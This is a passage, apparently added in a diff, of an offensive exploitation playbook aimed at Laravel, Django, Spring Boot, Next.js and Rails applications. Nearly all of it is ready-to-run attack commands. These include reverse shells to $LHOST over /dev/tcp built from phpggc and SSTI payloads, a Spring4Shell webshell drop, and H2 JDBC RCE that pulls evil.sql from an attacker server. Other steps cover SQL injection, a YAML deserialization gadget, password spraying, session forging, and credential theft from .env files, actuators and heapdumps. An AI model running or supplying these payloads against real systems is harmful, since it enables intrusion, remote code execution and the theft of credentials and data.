git clone https://github.com/ambionics/laravel-exploits.git /opt/laravel-exploits
|
|
258
|
+
pip3 install -r /opt/laravel-exploits/requirements.txt
|
|
259
|
+
|
|
260
|
+
# Also need phpggc
|
|
261
|
+
git clone https://github.com/ambionics/phpggc.git /opt/phpggc
|
|
262
|
+
|
|
263
|
+
# Generate chain — whoami
|
|
264
|
+
php /opt/phpggc/phpggc --phar phar -o /tmp/exploit.phar Laravel/RCE5 "id"
|
|
265
|
+
|
|
266
|
+
# Execute against debug endpoint
|
|
267
|
+
python3 /opt/laravel-exploits/laravel-ignition-rce.py \
|
|
268
|
+
https://$TARGET /tmp/exploit.phar
|
|
269
|
+
|
|
270
|
+
# Reverse shell payload
|
|
271
|
+
php /opt/phpggc/phpggc --phar phar -o /tmp/shell.phar Laravel/RCE5 \
|
|
272
|
+
"system('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"');"
|
|
273
|
+
|
|
274
|
+
# Start listener
|
|
275
|
+
nc -lvnp $LPORT &
|
|
276
|
+
|
|
277
|
+
python3 /opt/laravel-exploits/laravel-ignition-rce.py \
|
|
278
|
+
https://$TARGET /tmp/shell.phar
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
**Step 6: Laravel mass assignment exploitation**
|
|
282
|
+
|
|
283
|
+
```bash
|
|
284
|
+
# Enumerate model fields via API error messages or source code
|
|
285
|
+
curl -sk https://$TARGET/api/register \
|
|
286
|
+
-H "Content-Type: application/json" \
|
|
287
|
+
-d '{"name":"test","email":"test@test.com","password":"Test1234!","is_admin":true,"role":"admin","admin":1}'
|
|
288
|
+
|
|
289
|
+
# Check if registration succeeded with elevated role
|
|
290
|
+
curl -sk https://$TARGET/api/login \
|
|
291
|
+
-H "Content-Type: application/json" \
|
|
292
|
+
-d '{"email":"test@test.com","password":"Test1234!"}'
|
|
293
|
+
|
|
294
|
+
# Test profile update endpoint for mass assignment
|
|
295
|
+
TOKEN="eyJ..." # JWT or session token from login
|
|
296
|
+
curl -sk https://$TARGET/api/user \
|
|
297
|
+
-H "Authorization: Bearer $TOKEN" \
|
|
298
|
+
-H "Content-Type: application/json" \
|
|
299
|
+
-X PUT \
|
|
300
|
+
-d '{"name":"hacker","is_admin":true,"role_id":1,"confirmed":true}'
|
|
301
|
+
```
|
|
302
|
+
|
|
303
|
+
---
|
|
304
|
+
|
|
305
|
+
### Phase 3 — Django Exploitation
|
|
306
|
+
|
|
307
|
+
**Step 7: Django admin enumeration**
|
|
308
|
+
|
|
309
|
+
```bash
|
|
310
|
+
# Check if admin is exposed
|
|
311
|
+
curl -sk https://$TARGET/admin/ -L -I
|
|
312
|
+
|
|
313
|
+
# Username enumeration via timing (valid user = longer response)
|
|
314
|
+
ffuf -u "https://$TARGET/admin/login/" \
|
|
315
|
+
-X POST \
|
|
316
|
+
-d "username=FUZZ&password=wrongpassword&csrfmiddlewaretoken=$(curl -sc /tmp/dj.cookies https://$TARGET/admin/login/ | grep csrftoken | awk '{print $7}')" \
|
|
317
|
+
-H "Cookie: $(cat /tmp/dj.cookies | awk 'NR>4{print $6"="$7}' | tr '\n' ';')" \
|
|
318
|
+
-w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
|
|
319
|
+
-mr "Please enter the correct username" \
|
|
320
|
+
-t 10
|
|
321
|
+
|
|
322
|
+
# Password spray against known users
|
|
323
|
+
for user in admin administrator django superuser; do
|
|
324
|
+
for pass in admin Password1 django123 admin123; do
|
|
325
|
+
CSRF=$(curl -sc /tmp/dj${user}.cookies -sk https://$TARGET/admin/login/ | grep -oP 'csrfmiddlewaretoken" value="\K[^"]+')
|
|
326
|
+
resp=$(curl -sk https://$TARGET/admin/login/ \
|
|
327
|
+
-b /tmp/dj${user}.cookies \
|
|
328
|
+
-c /tmp/dj${user}.cookies \
|
|
329
|
+
-d "username=$user&password=$pass&csrfmiddlewaretoken=$CSRF")
|
|
330
|
+
echo "$user:$pass -> $(echo $resp | grep -c 'Site administration')"
|
|
331
|
+
done
|
|
332
|
+
done
|
|
333
|
+
```
|
|
334
|
+
|
|
335
|
+
**Step 8: Django SSTI exploitation**
|
|
336
|
+
|
|
337
|
+
```bash
|
|
338
|
+
# Test for template injection in parameters/headers
|
|
339
|
+
# Payloads to try: {{7*7}}, {%if 1==1%}VULN{%endif%}, {{request.META}}
|
|
340
|
+
|
|
341
|
+
# Test GET parameters
|
|
342
|
+
curl -sk "https://$TARGET/search/?q={{7*7}}"
|
|
343
|
+
curl -sk "https://$TARGET/search/?q={% verbatim %}{{7*7}}{% endverbatim %}"
|
|
344
|
+
|
|
345
|
+
# Test POST data fields (contact forms, feedback, etc.)
|
|
346
|
+
curl -sk "https://$TARGET/contact/" \
|
|
347
|
+
-d "name={{7*7}}&email=test@test.com&message=test"
|
|
348
|
+
|
|
349
|
+
# If SSTI confirmed (output shows 49), escalate to RCE:
|
|
350
|
+
# Django Jinja2 RCE payload
|
|
351
|
+
PAYLOAD='{{''.__class__.__mro__[1].__subclasses__()[396]("id",shell=True,stdout=-1).communicate()[0].decode()}}'
|
|
352
|
+
|
|
353
|
+
curl -sk "https://$TARGET/search/?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
|
|
354
|
+
|
|
355
|
+
# Alternative — find Popen subclass dynamically
|
|
356
|
+
python3 << 'EOF'
|
|
357
|
+
# Run locally to find correct subclass index
|
|
358
|
+
import subprocess
|
|
359
|
+
# Payload to enumerate subclasses:
|
|
360
|
+
payload = "{{''.__class__.__mro__[1].__subclasses__()}}"
|
|
361
|
+
# Then search output for 'subprocess.Popen' and note its index
|
|
362
|
+
EOF
|
|
363
|
+
|
|
364
|
+
# Reverse shell via SSTI
|
|
365
|
+
RSHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
|
|
366
|
+
PAYLOAD="{{''.__class__.__mro__[1].__subclasses__()[396](\"$RSHELL\",shell=True)}}"
|
|
367
|
+
curl -sk "https://$TARGET/search/?q=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$PAYLOAD")"
|
|
368
|
+
```
|
|
369
|
+
|
|
370
|
+
---
|
|
371
|
+
|
|
372
|
+
### Phase 4 — Spring Boot Exploitation
|
|
373
|
+
|
|
374
|
+
**Step 9: Actuator discovery and data extraction**
|
|
375
|
+
|
|
376
|
+
```bash
|
|
377
|
+
# Discover actuator base path (may not be /actuator)
|
|
378
|
+
ffuf -u "https://$TARGET/FUZZ/health" \
|
|
379
|
+
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
|
|
380
|
+
-mc 200 -fs 0 -silent
|
|
381
|
+
|
|
382
|
+
# List all exposed endpoints
|
|
383
|
+
curl -sk https://$TARGET/actuator | python3 -m json.tool
|
|
384
|
+
|
|
385
|
+
# Extract environment variables (credentials in plaintext or masked)
|
|
386
|
+
curl -sk https://$TARGET/actuator/env | python3 -m json.tool | grep -iE "(password|secret|key|token|credential)" | head -30
|
|
387
|
+
|
|
388
|
+
# Reveal masked (*) values by posting to /actuator/env (Spring Boot < 2.4 with write enabled)
|
|
389
|
+
curl -sk https://$TARGET/actuator/env \
|
|
390
|
+
-H "Content-Type: application/json" \
|
|
391
|
+
-X POST \
|
|
392
|
+
-d '{"name":"spring.datasource.password","value":"x"}'
|
|
393
|
+
|
|
394
|
+
# Get all beans for attack surface mapping
|
|
395
|
+
curl -sk https://$TARGET/actuator/beans | python3 -m json.tool | grep -i "context\|controller\|service" | head -40
|
|
396
|
+
|
|
397
|
+
# Mappings — enumerate all endpoints
|
|
398
|
+
curl -sk https://$TARGET/actuator/mappings | python3 -m json.tool > /tmp/mappings.json
|
|
399
|
+
cat /tmp/mappings.json | python3 -c "
|
|
400
|
+
import json,sys
|
|
401
|
+
data=json.load(sys.stdin)
|
|
402
|
+
for ctx in data.get('contexts',{}).values():
|
|
403
|
+
for mapping,v in ctx.get('mappings',{}).get('dispatcherServlets',{}).get('dispatcherServlet',[]):
|
|
404
|
+
print(mapping)
|
|
405
|
+
" 2>/dev/null || cat /tmp/mappings.json | grep -oP '"pattern":"[^"]*"' | sort -u
|
|
406
|
+
```
|
|
407
|
+
|
|
408
|
+
**Step 10: Heapdump credential extraction**
|
|
409
|
+
|
|
410
|
+
```bash
|
|
411
|
+
# Download heapdump (can be 100s MB — check scope/size first)
|
|
412
|
+
curl -sk https://$TARGET/actuator/heapdump -o /tmp/heapdump.hprof
|
|
413
|
+
|
|
414
|
+
# Quick string extraction for credentials
|
|
415
|
+
strings /tmp/heapdump.hprof | grep -iE "(password|passwd|secret|apikey|token|bearer)" | grep -v "^#" | head -50
|
|
416
|
+
|
|
417
|
+
# Extract database URLs
|
|
418
|
+
strings /tmp/heapdump.hprof | grep -iE "jdbc:|mongodb://|redis://|postgresql://" | head -20
|
|
419
|
+
|
|
420
|
+
# Use Eclipse Memory Analyzer (MAT) for deep analysis
|
|
421
|
+
# Download: https://www.eclipse.org/mat/downloads.php
|
|
422
|
+
# Or use jhat (bundled with JDK)
|
|
423
|
+
jhat -J-Xmx4g /tmp/heapdump.hprof &
|
|
424
|
+
# Browse to http://localhost:7000
|
|
425
|
+
|
|
426
|
+
# Automated extraction with heapdump-tool
|
|
427
|
+
pip3 install heapdump-tool 2>/dev/null || true
|
|
428
|
+
python3 -c "
|
|
429
|
+
with open('/tmp/heapdump.hprof','rb') as f:
|
|
430
|
+
data = f.read()
|
|
431
|
+
import re
|
|
432
|
+
# Find strings that look like passwords
|
|
433
|
+
for m in re.finditer(b'[A-Za-z0-9+/]{20,}={0,2}', data):
|
|
434
|
+
val = m.group(0)
|
|
435
|
+
try:
|
|
436
|
+
import base64
|
|
437
|
+
decoded = base64.b64decode(val).decode('utf-8','ignore')
|
|
438
|
+
if any(c.isalpha() for c in decoded) and len(decoded) > 8:
|
|
439
|
+
print(f'B64: {decoded[:100]}')
|
|
440
|
+
except: pass
|
|
441
|
+
" | head -30
|
|
442
|
+
```
|
|
443
|
+
|
|
444
|
+
**Step 11: Spring4Shell exploitation (CVE-2022-22965)**
|
|
445
|
+
|
|
446
|
+
```bash
|
|
447
|
+
# Affected: Spring Framework 5.3.0-17, 5.2.0-19 + JDK 9+, deployed as WAR on Tomcat
|
|
448
|
+
|
|
449
|
+
# Check version indicators
|
|
450
|
+
curl -sk https://$TARGET/actuator/info | grep -i spring
|
|
451
|
+
curl -sk https://$TARGET/ -I | grep -i "Server:"
|
|
452
|
+
|
|
453
|
+
# Clone exploit
|
|
454
|
+
git clone https://github.com/reznok/Spring4Shell-POC.git /opt/spring4shell
|
|
455
|
+
|
|
456
|
+
# Test for vulnerability (POST to any Spring MVC endpoint)
|
|
457
|
+
curl -sk https://$TARGET/ \
|
|
458
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
459
|
+
--data-urlencode 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
|
|
460
|
+
-H "c1: Runtime" \
|
|
461
|
+
-H "c2: <%" \
|
|
462
|
+
-H "suffix: %>"
|
|
463
|
+
|
|
464
|
+
# If successful, webshell is written to /tomcatwar.jsp
|
|
465
|
+
curl -sk "https://$TARGET/tomcatwar.jsp?pwd=j&cmd=id"
|
|
466
|
+
|
|
467
|
+
# Automated exploit
|
|
468
|
+
cd /opt/spring4shell && python3 exploit.py --url https://$TARGET
|
|
469
|
+
```
|
|
470
|
+
|
|
471
|
+
---
|
|
472
|
+
|
|
473
|
+
### Phase 5 — Next.js Exploitation
|
|
474
|
+
|
|
475
|
+
**Step 12: Middleware bypass (CVE-2025-29927)**
|
|
476
|
+
|
|
477
|
+
```bash
|
|
478
|
+
# Affected: Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5
|
|
479
|
+
# Vulnerability: x-middleware-subrequest header bypasses middleware auth checks
|
|
480
|
+
|
|
481
|
+
# Test if middleware bypass works on protected routes
|
|
482
|
+
curl -sk https://$TARGET/admin \
|
|
483
|
+
-H "x-middleware-subrequest: middleware" \
|
|
484
|
+
-v 2>&1 | grep -E "HTTP/|Location:|Set-Cookie:"
|
|
485
|
+
|
|
486
|
+
# Try common protected paths
|
|
487
|
+
for path in /admin /dashboard /api/admin /internal /private /api/internal; do
|
|
488
|
+
code=$(curl -sk -o /dev/null -w "%{http_code}" https://$TARGET$path \
|
|
489
|
+
-H "x-middleware-subrequest: middleware")
|
|
490
|
+
code_bypass=$(curl -sk -o /dev/null -w "%{http_code}" https://$TARGET$path \
|
|
491
|
+
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware")
|
|
492
|
+
echo "$path | Normal: $code | Bypass: $code_bypass"
|
|
493
|
+
done
|
|
494
|
+
|
|
495
|
+
# Multiple colon variations for bypass
|
|
496
|
+
for bypass in "middleware" "src/middleware" "middleware:middleware" \
|
|
497
|
+
"pages/_middleware" "pages/api/_middleware"; do
|
|
498
|
+
code=$(curl -sk -o /dev/null -w "%{http_code}" https://$TARGET/admin \
|
|
499
|
+
-H "x-middleware-subrequest: $bypass")
|
|
500
|
+
echo "Header '$bypass': $code"
|
|
501
|
+
done
|
|
502
|
+
```
|
|
503
|
+
|
|
504
|
+
**Step 13: Next.js SSRF via server-side props**
|
|
505
|
+
|
|
506
|
+
```bash
|
|
507
|
+
# Next.js API routes with user-controlled URL parameters
|
|
508
|
+
# Test common patterns: ?url=, ?endpoint=, ?redirect=, ?src=, ?callback=
|
|
509
|
+
|
|
510
|
+
# Internal metadata service SSRF
|
|
511
|
+
curl -sk "https://$TARGET/api/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
512
|
+
curl -sk "https://$TARGET/api/fetch?endpoint=http://169.254.169.254/latest/meta-data/"
|
|
513
|
+
curl -sk "https://$TARGET/api/image?src=http://169.254.169.254/"
|
|
514
|
+
|
|
515
|
+
# Next.js Image Optimization SSRF (if misconfigured)
|
|
516
|
+
curl -sk "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name&w=100&q=75"
|
|
517
|
+
|
|
518
|
+
# Internal service discovery
|
|
519
|
+
for port in 80 443 3000 8080 8443 9200 6379 5432 3306 27017; do
|
|
520
|
+
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 \
|
|
521
|
+
"https://$TARGET/api/proxy?url=http://127.0.0.1:$port/")
|
|
522
|
+
echo "Port $port: $code"
|
|
523
|
+
done
|
|
524
|
+
|
|
525
|
+
# If running in Kubernetes, check k8s API
|
|
526
|
+
curl -sk "https://$TARGET/api/proxy?url=http://10.96.0.1:443/api/v1/namespaces"
|
|
527
|
+
```
|
|
528
|
+
|
|
529
|
+
---
|
|
530
|
+
|
|
531
|
+
### Phase 6 — Ruby on Rails Exploitation
|
|
532
|
+
|
|
533
|
+
**Step 14: Rails mass assignment**
|
|
534
|
+
|
|
535
|
+
```bash
|
|
536
|
+
# Rails 4+ uses strong_parameters — look for permit! or missing params filtering
|
|
537
|
+
# Test user creation/update with extra attributes
|
|
538
|
+
curl -sk https://$TARGET/users \
|
|
539
|
+
-X POST \
|
|
540
|
+
-H "Content-Type: application/json" \
|
|
541
|
+
-d '{"user":{"email":"pwned@evil.com","password":"Test1234!","admin":true,"role":"admin","is_admin":true}}'
|
|
542
|
+
|
|
543
|
+
# Nested attribute injection
|
|
544
|
+
curl -sk https://$TARGET/api/v1/profile \
|
|
545
|
+
-X PATCH \
|
|
546
|
+
-H "Authorization: Bearer $TOKEN" \
|
|
547
|
+
-H "Content-Type: application/json" \
|
|
548
|
+
-d '{"user":{"name":"hacked","admin":true,"confirmed_at":"2020-01-01","role_id":1}}'
|
|
549
|
+
|
|
550
|
+
# Devise model bypass — confirm account or set admin via mass assignment
|
|
551
|
+
curl -sk https://$TARGET/api/users \
|
|
552
|
+
-X POST \
|
|
553
|
+
-H "Content-Type: application/json" \
|
|
554
|
+
-d '{"user":{"email":"x@x.com","password":"Test1234!","password_confirmation":"Test1234!","confirmed_at":"2020-01-01T00:00:00Z","confirmation_token":""}}'
|
|
555
|
+
```
|
|
556
|
+
|
|
557
|
+
**Step 15: Rails ActiveRecord SQL injection**
|
|
558
|
+
|
|
559
|
+
```bash
|
|
560
|
+
# Test for SQL injection in search/filter endpoints
|
|
561
|
+
# Vulnerable pattern: Model.where("name = '#{params[:name]}'")
|
|
562
|
+
|
|
563
|
+
# Test for error-based SQLi
|
|
564
|
+
curl -sk "https://$TARGET/api/users?name=test'" | grep -iE "(error|sql|sqlite|mysql|postgres|syntax)"
|
|
565
|
+
|
|
566
|
+
# Union-based for PostgreSQL (Rails default)
|
|
567
|
+
curl -sk "https://$TARGET/api/users?search=') UNION SELECT null,version(),null--"
|
|
568
|
+
curl -sk "https://$TARGET/search?q=') UNION SELECT null,string_agg(table_name,','),null FROM information_schema.tables--"
|
|
569
|
+
|
|
570
|
+
# Time-based blind SQLi
|
|
571
|
+
time curl -sk "https://$TARGET/api/users?name=') OR pg_sleep(5)--"
|
|
572
|
+
|
|
573
|
+
# Order injection (often overlooked in Rails)
|
|
574
|
+
curl -sk "https://$TARGET/api/users?sort=name,(SELECT%20pg_sleep(5))"
|
|
575
|
+
curl -sk "https://$TARGET/api/articles?order=(CASE%20WHEN%20(SELECT%20current_user)='postgres'%20THEN%20title%20ELSE%20id%20END)"
|
|
576
|
+
|
|
577
|
+
# sqlmap against suspected endpoint
|
|
578
|
+
sqlmap -u "https://$TARGET/api/users?search=test" \
|
|
579
|
+
-H "Authorization: Bearer $TOKEN" \
|
|
580
|
+
--dbms=postgresql --level=3 --risk=2 \
|
|
581
|
+
--batch --random-agent \
|
|
582
|
+
-p search
|
|
583
|
+
```
|
|
584
|
+
|
|
585
|
+
**Step 16: Rails YAML deserialization**
|
|
586
|
+
|
|
587
|
+
```bash
|
|
588
|
+
# Affected: Rails < 5.x with YAML-signed cookies or YAML.load(user_input)
|
|
589
|
+
# Check for _session_id cookie or YAML content types
|
|
590
|
+
|
|
591
|
+
# Decode Rails session cookie (pre-6.x)
|
|
592
|
+
ruby -e "
|
|
593
|
+
require 'base64'
|
|
594
|
+
cookie = ENV['COOKIE'].split('--')[0]
|
|
595
|
+
puts Base64.decode64(cookie)
|
|
596
|
+
" COOKIE="$(curl -sc /tmp/rails.cookies -sk https://$TARGET/ && cat /tmp/rails.cookies | grep _session | awk '{print $7}')"
|
|
597
|
+
|
|
598
|
+
# Generate Rails YAML RCE payload (requires ruby locally)
|
|
599
|
+
# Use universal RCE gadget chain
|
|
600
|
+
cat > /tmp/rails_yaml_rce.rb << 'RUBYEOF'
|
|
601
|
+
require 'yaml'
|
|
602
|
+
|
|
603
|
+
# RCE via Gem::Requirement (works across Ruby versions)
|
|
604
|
+
code = "id | tee /tmp/rce_proof.txt"
|
|
605
|
+
payload = "--- !ruby/object:Gem::Requirement\nrequirements:\n !ruby/object:Gem::Package::TarReader\n io: &1 !ruby/object:Net::BufferedIO\n io: &1 !ruby/object:Gem::Package::TarReader::Entry\n read: 0\n header: \"abc\"\n debug_output: &1 !ruby/object:Net::WriteAdapter\n socket: &1 !ruby/object:Gem::RequestSet\n sets: !ruby/object:Net::WriteAdapter\n socket: !ruby/module 'Kernel'\n method_id: :system\n git_set: \"#{code}\"\n method_id: :resolve\n"
|
|
606
|
+
puts [payload].pack("m0")
|
|
607
|
+
RUBYEOF
|
|
608
|
+
ruby /tmp/rails_yaml_rce.rb
|
|
609
|
+
```
|
|
610
|
+
|
|
611
|
+
---
|
|
612
|
+
|
|
613
|
+
## 5. Real Attack Scenarios
|
|
614
|
+
|
|
615
|
+
### Scenario A: Laravel .env to Full Admin RCE
|
|
616
|
+
|
|
617
|
+
**Context:** E-commerce platform on Laravel 8, nginx misconfiguration exposing .env
|
|
618
|
+
|
|
619
|
+
```bash
|
|
620
|
+
# 1. Confirm framework
|
|
621
|
+
curl -sI https://$TARGET | grep -i "x-powered-by"
|
|
622
|
+
whatweb https://$TARGET
|
|
623
|
+
|
|
624
|
+
# 2. Grab .env file
|
|
625
|
+
curl -sk https://$TARGET/.env > /tmp/env_dump.txt
|
|
626
|
+
cat /tmp/env_dump.txt
|
|
627
|
+
|
|
628
|
+
# 3. Extract APP_KEY and DB credentials
|
|
629
|
+
APP_KEY=$(grep APP_KEY /tmp/env_dump.txt | cut -d= -f2)
|
|
630
|
+
DB_PASS=$(grep DB_PASSWORD /tmp/env_dump.txt | cut -d= -f2)
|
|
631
|
+
DB_USER=$(grep DB_USERNAME /tmp/env_dump.txt | cut -d= -f2)
|
|
632
|
+
DB_NAME=$(grep DB_DATABASE /tmp/env_dump.txt | cut -d= -f2)
|
|
633
|
+
DB_HOST=$(grep DB_HOST /tmp/env_dump.txt | cut -d= -f2)
|
|
634
|
+
|
|
635
|
+
echo "[*] APP_KEY: $APP_KEY"
|
|
636
|
+
echo "[*] DB: $DB_USER:$DB_PASS@$DB_HOST/$DB_NAME"
|
|
637
|
+
|
|
638
|
+
# 4. Forge admin session using APP_KEY
|
|
639
|
+
# (Use laravel-forge-cookie tool or manual PHP)
|
|
640
|
+
cat > /tmp/forge_session.php << 'PHPEOF'
|
|
641
|
+
<?php
|
|
642
|
+
// Install: composer require illuminate/encryption
|
|
643
|
+
require_once 'vendor/autoload.php';
|
|
644
|
+
use Illuminate\Encryption\Encrypter;
|
|
645
|
+
|
|
646
|
+
$key = base64_decode(str_replace('base64:', '', getenv('APP_KEY')));
|
|
647
|
+
$encrypter = new Encrypter($key, 'AES-256-CBC');
|
|
648
|
+
|
|
649
|
+
$payload = ['user_id' => 1, 'is_admin' => true, '_token' => 'forge'];
|
|
650
|
+
echo $encrypter->encrypt(serialize($payload));
|
|
651
|
+
PHPEOF
|
|
652
|
+
# Run with: APP_KEY=$APP_KEY php /tmp/forge_session.php
|
|
653
|
+
|
|
654
|
+
# 5. Connect to DB directly if host reachable
|
|
655
|
+
mysql -u $DB_USER -p$DB_PASS -h $DB_HOST $DB_NAME \
|
|
656
|
+
-e "SELECT id,email,password,is_admin FROM users LIMIT 20;" 2>/dev/null
|
|
657
|
+
|
|
658
|
+
# 6. If debug mode also active, chain to RCE
|
|
659
|
+
curl -sk https://$TARGET/_ignition/health-check
|
|
660
|
+
# If 200 → proceed with CVE-2021-3129 as in Phase 2
|
|
661
|
+
|
|
662
|
+
# 7. Document
|
|
663
|
+
echo "[CRITICAL] Laravel .env exposed at https://$TARGET/.env" > ~/engagements/$TARGET/loot/laravel_env.md
|
|
664
|
+
echo "APP_KEY: $APP_KEY" >> ~/engagements/$TARGET/loot/laravel_env.md
|
|
665
|
+
echo "DB creds: $DB_USER:$DB_PASS@$DB_HOST" >> ~/engagements/$TARGET/loot/laravel_env.md
|
|
666
|
+
```
|
|
667
|
+
|
|
668
|
+
---
|
|
669
|
+
|
|
670
|
+
### Scenario B: Spring Boot Actuator to RCE via Heapdump + JDBC
|
|
671
|
+
|
|
672
|
+
**Context:** Internal API gateway with /actuator exposed, heapdump returns DB credentials, SSRF available
|
|
673
|
+
|
|
674
|
+
```bash
|
|
675
|
+
# 1. Discover Actuator
|
|
676
|
+
curl -sk https://$TARGET/actuator | python3 -m json.tool | grep href
|
|
677
|
+
|
|
678
|
+
# 2. Extract all env vars
|
|
679
|
+
curl -sk https://$TARGET/actuator/env | python3 -m json.tool > /tmp/actuator_env.json
|
|
680
|
+
cat /tmp/actuator_env.json | python3 -c "
|
|
681
|
+
import json,sys
|
|
682
|
+
data=json.load(sys.stdin)
|
|
683
|
+
for ps in data.get('propertySources',[]):
|
|
684
|
+
for k,v in ps.get('properties',{}).items():
|
|
685
|
+
val = v.get('value','')
|
|
686
|
+
if any(x in k.lower() for x in ['password','secret','key','token','credential']):
|
|
687
|
+
print(f'{k} = {val}')
|
|
688
|
+
"
|
|
689
|
+
|
|
690
|
+
# 3. Download heapdump
|
|
691
|
+
echo "[*] Downloading heapdump (may take minutes)..."
|
|
692
|
+
curl -sk https://$TARGET/actuator/heapdump -o /tmp/heapdump.hprof
|
|
693
|
+
ls -lh /tmp/heapdump.hprof
|
|
694
|
+
|
|
695
|
+
# 4. Extract credentials from heapdump
|
|
696
|
+
strings /tmp/heapdump.hprof | grep -iE "jdbc:|password|apikey|secret" | sort -u | head -40
|
|
697
|
+
|
|
698
|
+
# 5. Extract AWS creds if running on EC2
|
|
699
|
+
strings /tmp/heapdump.hprof | grep -iE "AKIA[0-9A-Z]{16}" | head -5
|
|
700
|
+
strings /tmp/heapdump.hprof | grep -A1 "aws_secret" | head -10
|
|
701
|
+
|
|
702
|
+
# 6. Use extracted DB credentials to connect
|
|
703
|
+
DB_URL=$(strings /tmp/heapdump.hprof | grep "jdbc:postgresql" | head -1)
|
|
704
|
+
echo "[*] DB URL: $DB_URL"
|
|
705
|
+
|
|
706
|
+
# 7. If logfile actuator available, inject spring.datasource via env actuator
|
|
707
|
+
# Then trigger /actuator/restart to load new datasource (for JDBC SSRF)
|
|
708
|
+
curl -sk https://$TARGET/actuator/env \
|
|
709
|
+
-H "Content-Type: application/json" \
|
|
710
|
+
-X POST \
|
|
711
|
+
-d '{"name":"spring.datasource.url","value":"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '\''http://'$LHOST'/evil.sql'\'';"}'
|
|
712
|
+
|
|
713
|
+
# Start HTTP server with malicious SQL
|
|
714
|
+
echo "CREATE ALIAS EXEC AS \$\$String exec(String cmd) throws Exception { Runtime rt = Runtime.getRuntime(); String[] commands = new String[] { \"/bin/sh\", \"-c\", cmd }; Process proc = rt.exec(commands); return \"done\"; }\$\$; CALL EXEC('curl $LHOST/$LPORT/rce');" > /tmp/evil.sql
|
|
715
|
+
python3 -m http.server 80 &
|
|
716
|
+
|
|
717
|
+
# Restart context to trigger SQL execution
|
|
718
|
+
curl -sk https://$TARGET/actuator/restart -X POST -H "Content-Type: application/json"
|
|
719
|
+
|
|
720
|
+
# 8. Document all extracted credentials
|
|
721
|
+
echo "[CRITICAL] Spring Boot Actuator exposed sensitive data" > ~/engagements/$TARGET/loot/actuator.md
|
|
722
|
+
```
|
|
723
|
+
|
|
724
|
+
---
|
|
725
|
+
|
|
726
|
+
### Scenario C: Next.js Middleware Bypass to Unauthenticated Admin Access
|
|
727
|
+
|
|
728
|
+
**Context:** SaaS dashboard with Next.js middleware enforcing auth on /dashboard and /admin routes
|
|
729
|
+
|
|
730
|
+
```bash
|
|
731
|
+
# 1. Identify Next.js version
|
|
732
|
+
curl -sk https://$TARGET/_next/static/chunks/polyfills.js | head -5
|
|
733
|
+
curl -sk https://$TARGET/ | grep -oP '"version":"[^"]*"'
|
|
734
|
+
|
|
735
|
+
# 2. Map protected routes via crawling
|
|
736
|
+
katana -u https://$TARGET -depth 3 -silent | grep -E "(/admin|/dashboard|/internal|/private|/api/admin)"
|
|
737
|
+
|
|
738
|
+
# 3. Confirm routes are protected normally
|
|
739
|
+
for route in /admin /dashboard /admin/users /api/admin/config; do
|
|
740
|
+
code=$(curl -sk -o /dev/null -w "%{http_code}" -L https://$TARGET$route)
|
|
741
|
+
echo "Normal $route: $code"
|
|
742
|
+
done
|
|
743
|
+
|
|
744
|
+
# 4. Test middleware bypass variants
|
|
745
|
+
BYPASS_HEADER_VALUES=(
|
|
746
|
+
"middleware"
|
|
747
|
+
"src/middleware"
|
|
748
|
+
"middleware:middleware"
|
|
749
|
+
"pages/_middleware"
|
|
750
|
+
"pages/api/_middleware"
|
|
751
|
+
"middleware:src/middleware"
|
|
752
|
+
"src/middleware:middleware"
|
|
753
|
+
)
|
|
754
|
+
|
|
755
|
+
for route in /admin /dashboard /api/admin/config; do
|
|
756
|
+
for bypass in "${BYPASS_HEADER_VALUES[@]}"; do
|
|
757
|
+
code=$(curl -sk -o /dev/null -w "%{http_code}" \
|
|
758
|
+
-H "x-middleware-subrequest: $bypass" \
|
|
759
|
+
https://$TARGET$route)
|
|
760
|
+
if [ "$code" -ne 401 ] && [ "$code" -ne 302 ] && [ "$code" -ne 403 ]; then
|
|
761
|
+
echo "[BYPASSED!] Route: $route | Header: $bypass | Code: $code"
|
|
762
|
+
fi
|
|
763
|
+
done
|
|
764
|
+
done
|
|
765
|
+
|
|
766
|
+
# 5. Extract content from bypassed admin route
|
|
767
|
+
curl -sk https://$TARGET/admin \
|
|
768
|
+
-H "x-middleware-subrequest: middleware" \
|
|
769
|
+
-o /tmp/admin_page.html
|
|
770
|
+
|
|
771
|
+
curl -sk https://$TARGET/api/admin/users \
|
|
772
|
+
-H "x-middleware-subrequest: middleware" \
|
|
773
|
+
| python3 -m json.tool > /tmp/admin_users.json
|
|
774
|
+
|
|
775
|
+
# 6. Check for sensitive API endpoints now accessible
|
|
776
|
+
for api in /api/admin/config /api/admin/keys /api/admin/env /api/settings /api/secrets; do
|
|
777
|
+
resp=$(curl -sk https://$TARGET$api -H "x-middleware-subrequest: middleware")
|
|
778
|
+
echo "--- $api ---"
|
|
779
|
+
echo "$resp" | python3 -m json.tool 2>/dev/null || echo "$resp" | head -3
|
|
780
|
+
done
|
|
781
|
+
|
